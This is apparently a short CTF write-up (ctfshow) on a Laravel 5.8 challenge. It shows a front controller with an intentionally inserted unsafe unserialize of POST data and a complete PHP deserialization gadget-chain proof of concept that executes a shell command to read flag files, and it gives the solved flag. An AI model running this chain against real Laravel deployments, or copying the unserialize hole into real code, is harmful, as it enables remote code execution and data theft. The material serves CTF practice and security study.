PHP/7.1.26框架审计Laravel 5.8登录前

    可参考文章

    1. <?php
    2. /**
    3. * Laravel - A PHP Framework For Web Artisans
    4. *
    5. * @package Laravel
    6. * @author Taylor Otwell <taylor@laravel.com>
    7. */
    8. define('LARAVEL_START', microtime(true));
    9. /*
    10. |--------------------------------------------------------------------------
    11. | Register The Auto Loader
    12. |--------------------------------------------------------------------------
    13. |
    14. | Composer provides a convenient, automatically generated class loader for
    15. | our application. We just need to utilize it! We'll simply require it
    16. | into the script here so that we don't have to worry about manual
    17. | loading any of our classes later on. It feels great to relax.
    18. |
    19. */
    20. require __DIR__ . '/../vendor/autoload.php';
    21. /*
    22. |--------------------------------------------------------------------------
    23. | Turn On The Lights
    24. |--------------------------------------------------------------------------
    25. |
    26. | We need to illuminate PHP development, so let us turn on the lights.
    27. | This bootstraps the framework and gets it ready for use, then it
    28. | will load up this application so that we can run it and send
    29. | the responses back to the browser and delight our users.
    30. |
    31. */
    32. $app = require_once __DIR__ . '/../bootstrap/app.php';
    33. /*
    34. |--------------------------------------------------------------------------
    35. | Run The Application
    36. |--------------------------------------------------------------------------
    37. |
    38. | Once we have the application, we can handle the incoming request
    39. | through the kernel, and send the associated response back to
    40. | the client's browser allowing them to enjoy the creative
    41. | and wonderful application we have prepared for them.
    42. |
    43. */
    44. $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
    45. $response = $kernel->handle(
    46. $request = Illuminate\Http\Request::capture()
    47. );
    48. @unserialize($_POST['data']);
    49. highlight_file(__FILE__);
    50. $kernel->terminate($request, $response);

    poc

    1. <?php
    2. namespace PhpParser\Node\Scalar\MagicConst{
    3. class Line {}
    4. }
    5. namespace Mockery\Generator{
    6. class MockDefinition
    7. {
    8. protected $config;
    9. protected $code;
    10. public function __construct($config, $code)
    11. {
    12. $this->config = $config;
    13. $this->code = $code;
    14. }
    15. }
    16. }
    17. namespace Mockery\Loader{
    18. class EvalLoader{}
    19. }
    20. namespace Illuminate\Bus{
    21. class Dispatcher
    22. {
    23. protected $queueResolver;
    24. public function __construct($queueResolver)
    25. {
    26. $this->queueResolver = $queueResolver;
    27. }
    28. }
    29. }
    30. namespace Illuminate\Foundation\Console{
    31. class QueuedCommand
    32. {
    33. public $connection;
    34. public function __construct($connection)
    35. {
    36. $this->connection = $connection;
    37. }
    38. }
    39. }
    40. namespace Illuminate\Broadcasting{
    41. class PendingBroadcast
    42. {
    43. protected $events;
    44. protected $event;
    45. public function __construct($events, $event)
    46. {
    47. $this->events = $events;
    48. $this->event = $event;
    49. }
    50. }
    51. }
    52. namespace{
    53. $line = new PhpParser\Node\Scalar\MagicConst\Line();
    54. $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");
    55. $evalloader = new Mockery\Loader\EvalLoader();
    56. $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    57. $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    58. $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    59. echo urlencode(serialize($pendingbroadcast));
    60. }
    61. ?>

    其实还有挺多链的
    https://www.anquanke.com/post/id/189718

    image.png
    flag
    ctfshow{3727863c-5126-4a3f-a7fc-40f72a3c564f}